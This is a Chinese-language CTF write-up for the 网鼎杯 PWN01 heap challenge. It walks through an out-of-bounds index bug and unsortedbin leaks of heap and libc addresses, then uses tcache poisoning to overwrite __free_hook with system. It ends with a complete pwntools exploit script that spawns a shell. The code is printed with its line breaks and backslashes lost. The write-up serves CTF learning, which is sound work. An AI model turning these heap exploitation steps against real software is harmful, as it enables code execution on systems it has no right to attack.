web选手入门pwn(20) ——网鼎杯PWN01

WriteUp 4天前 admin
42 0 0

给了libc,用2.31-0ubuntu9_amd64做。
保护全开,很漂亮的增删改查

web选手入门pwn(20) ——网鼎杯PWN01

先看增,限制了chunk数量和chunk大小,没法用fastbin。chunk_index/chunk_length,以及ptr(chunk_list)都明明白白的写在bss段,点赞。

web选手入门pwn(20) ——网鼎杯PWN01

删,去除了指针,没有UAF,但是似乎是通过ptr偏移做到的,这儿似乎有点问题。

web选手入门pwn(20) ——网鼎杯PWN01

查,也是通过ptr偏移做到的,那么确定这里有问题。

web选手入门pwn(20) ——网鼎杯PWN01

gdb中调试一下,新增两个chunk

web选手入门pwn(20) ——网鼎杯PWN01

如果删除一个,再新增同样大小的,c0会消失,多一个c2,回收c0原来的地址。

web选手入门pwn(20) ——网鼎杯PWN01

但因为删查是通过ptr偏移做到的,显然,如果能向bss段上写一个完全控制的地址,可以做到任意地址删和任意地址查。
比如bss段上面有got表。

web选手入门pwn(20) ——网鼎杯PWN01

那么show(-18)会怎么样呢?

web选手入门pwn(20) ——网鼎杯PWN01

可惜,只会泄露libc上exit的汇编代码。

web选手入门pwn(20) ——网鼎杯PWN01

因为ptr上储存的是一个地址,而show会打印这个地址上的值,而我们期待的是这个地址上再储存一个地址,这样就有可能泄露libc/heap段。向上的got表显然不符合要求,那么向下有东西吗?通过vmmap发现,向下有heap段。

web选手入门pwn(20) ——网鼎杯PWN01

那么可以利用unsortedbin的fd/bk指向main_arena_N来泄露main_arena_N上的heap地址。

#!/usr/bin/env python from pwn import * context.log_level = "debug"#sh = process("./pwn")sh = gdb.debug("./pwn","b show_chunk n c")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6")libc_malloc_hook = libc.sym['__malloc_hook']libc_system = libc.sym['system']libc_free_hook = libc.sym['__free_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70print(hex(libc_main_arena_N))#0x555555558060 ptr

def add(size, content="AAAAAAAA"): sh.recvuntil("choice") sh.sendline("1") sh.recvuntil("Size :") sh.sendline(str(size)) sh.recvuntil("Content :") sh.send(content) def free(index): sh.recvuntil("choice") sh.sendline("2") sh.recvuntil("Index :") sh.sendline(str(index))
def edit(addr): sh.recvuntil("choice") sh.sendline("3") sh.recvuntil("content :") sh.sendline(p64(addr))
def show(index): sh.recvuntil("choice") sh.sendline("4") sh.recvuntil("Index :") sh.sendline(str(index)) return sh.recvline()add(0x4f8)add(0xf8)free(0)show(1)sh.interactive()

web选手入门pwn(20) ——网鼎杯PWN01

计算一下(0x55555555b2a0 – 0x555555558060)/8=1608

add(0x4f8)add(0xf8)free(0)show(1608)

成功泄露

web选手入门pwn(20) ——网鼎杯PWN01

开启ALSR试一试

web选手入门pwn(20) ——网鼎杯PWN01

泄露了heap地址,反手再将unsortedbin的fd/bk地址写到一个chunk中。

add(0x4f8)#c0add(0xf8)#c1free(0)show(1608)heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")print(hex(heap_N))free(1)add(0xf8,p64(heap_N-1520))#c2show(1768)

web选手入门pwn(20) ——网鼎杯PWN01

可以看到成功泄露libc。

然而这种解法并不能打远程,本地做的时候,bss到heap段的相对位置是固定的,远程时却不一定固定。确切来说,是不一定和本地一样都是1608。而且如果show到一个错误地址,程序会崩溃退出,下次分配heap时,可能有所变化,因此也不能爆破。但这不妨碍这是一个很有意思的非预期解。

正解非常简单,泄露libc和heap只需要利用unsortedbin复用时不清除fd/bk指针就行了。
我们做出双向链表两个unsortedbin

add(0x4f8)#c0add(0x98)#c1add(0x4f8)#c2add(0x98)#c3free(0)free(2)

web选手入门pwn(20) ——网鼎杯PWN01

再add回来,同时将它们的fd全部覆盖成A,就可以轻松泄露libc跟heap。

add(0x4f8)#c4add(0x4f8)#c5show(4)heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")print(hex(heap_N))show(5)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(libc_base))

web选手入门pwn(20) ——网鼎杯PWN01

如何getshell呢,这就要讲一直没提过的改了,其实根本和chunk没关系,就是仅限一次,往任意地址写0xa2c2a。

web选手入门pwn(20) ——网鼎杯PWN01

因为它要写满一个地址,所以是0x000a2c2a,只需要偏移一下,就等于往任意地址写0x00。那么我们可以做几个tcache,然后将fd篡改成unsortedbin上的一块地址,在unsortedbin上做fake chunk,然后就是劫持free_hook那一套了。

做三个tcache(做两个不行)

add(0x98)#c6free(6)free(1)free(3)

web选手入门pwn(20) ——网鼎杯PWN01

然后需要劫持0x55555555bd30的fd。

edit(heap_N+0x50d) #0x55555555bd3d to 0x55555555b700

web选手入门pwn(20) ——网鼎杯PWN01

这样再复用tcache就会用fake chunk 0x55555555b700了,而它正好在c4(0x55555555b290)的范围内,编辑c4(free再add回来),修改0x55555555b700的fd到free_hook(-8为了对齐)。

free(4)add(0x4f8,"A"*0x460+p64(libc_free_hook+libc_base-8))#c7 make fake chunk

web选手入门pwn(20) ——网鼎杯PWN01

add一次,让0x55555555b700的fd(free_hook)进入tcache队列,顺便做/bin/sh堆块。

add(0x98,"/bin/shx00") #c8

web选手入门pwn(20) ——网鼎杯PWN01

再add一次,消耗掉最后一个tcache,下次就只能用free_hook了。

add(0x98) #c9

web选手入门pwn(20) ——网鼎杯PWN01

最后add一次让free_hook成为堆块,劫持free_hook为system

add(0x98,p64(libc_system+libc_base)+p64(libc_system+libc_base)) #c10

web选手入门pwn(20) ——网鼎杯PWN01

最后free前面写了/bin/sh的堆块即可getshellfree(8)

web选手入门pwn(20) ——网鼎杯PWN01

完整exp如下。

#!/usr/bin/env python from pwn import * context.log_level = "debug"sh = process("./pwn")#sh = gdb.debug("./pwn","b show_chunk n c")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6")libc_malloc_hook = libc.sym['__malloc_hook']libc_system = libc.sym['system']libc_free_hook = libc.sym['__free_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70print(hex(libc_main_arena_N))#0x555555558060 ptr

def add(size, content="AAAAAAAA"): sh.recvuntil("choice") sh.sendline("1") sh.recvuntil("Size :") sh.sendline(str(size)) sh.recvuntil("Content :") sh.send(content) def free(index): sh.recvuntil("choice") sh.sendline("2") sh.recvuntil("Index :") sh.sendline(str(index))
def edit(addr): sh.recvuntil("choice") sh.sendline("3") sh.recvuntil("content :") sh.sendline(p64(addr))
def show(index): sh.recvuntil("choice") sh.sendline("4") sh.recvuntil("Index :") sh.sendline(str(index)) return sh.recvline()
add(0x4f8)#c0add(0x98)#c1add(0x4f8)#c2add(0x98)#c3free(0)free(2)add(0x4f8)#c4add(0x4f8)#c5show(4)heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")print(hex(heap_N))show(5)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(libc_base))
add(0x98)#c6free(6)free(1)free(3)
edit(heap_N+0x50d) #0x55555555bd3d to 0x55555555b700
free(4)add(0x4f8,"A"*0x460+p64(libc_free_hook+libc_base-8))#c7 make fake chunkadd(0x98,"/bin/shx00") #c8add(0x98) #c9add(0x98,p64(libc_system+libc_base)+p64(libc_system+libc_base)) #c10
free(8)sh.interactive()


原文始发于微信公众号(珂技知识分享):web选手入门pwn(20) ——网鼎杯PWN01

版权声明:admin 发表于 2024年11月1日 下午6:02。
转载请注明:web选手入门pwn(20) ——网鼎杯PWN01 | CTF导航

相关文章